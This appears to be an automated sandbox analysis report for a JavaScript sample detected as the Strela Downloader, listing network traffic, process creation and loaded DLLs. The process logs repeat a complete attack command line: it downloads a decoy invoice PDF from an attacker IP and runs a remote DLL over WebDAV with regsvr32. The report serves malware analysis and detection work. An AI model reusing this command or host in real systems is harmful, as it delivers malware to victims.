HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2061532744.0000023E2AA30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2111444174.0000029F29788000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2111444174.0000029F297BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2111444174.0000029F29788000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/n
Source: net.exe, 00000007.00000002.2111444174.0000029F29788000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/temTao
Source: svchost.exe, 00000009.00000002.3347851686.0000022D89C00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2113981433.0000022D89A50000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 1276, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4395298639961.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4395298639961.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 301901880157741390.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5368:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_w5bsjz4p.irx.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\301901880157741390.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4395298639961.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1732,i,7516118534538757625,14757094030202328636,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4395298639961.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1732,i,7516118534538757625,14757094030202328636,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
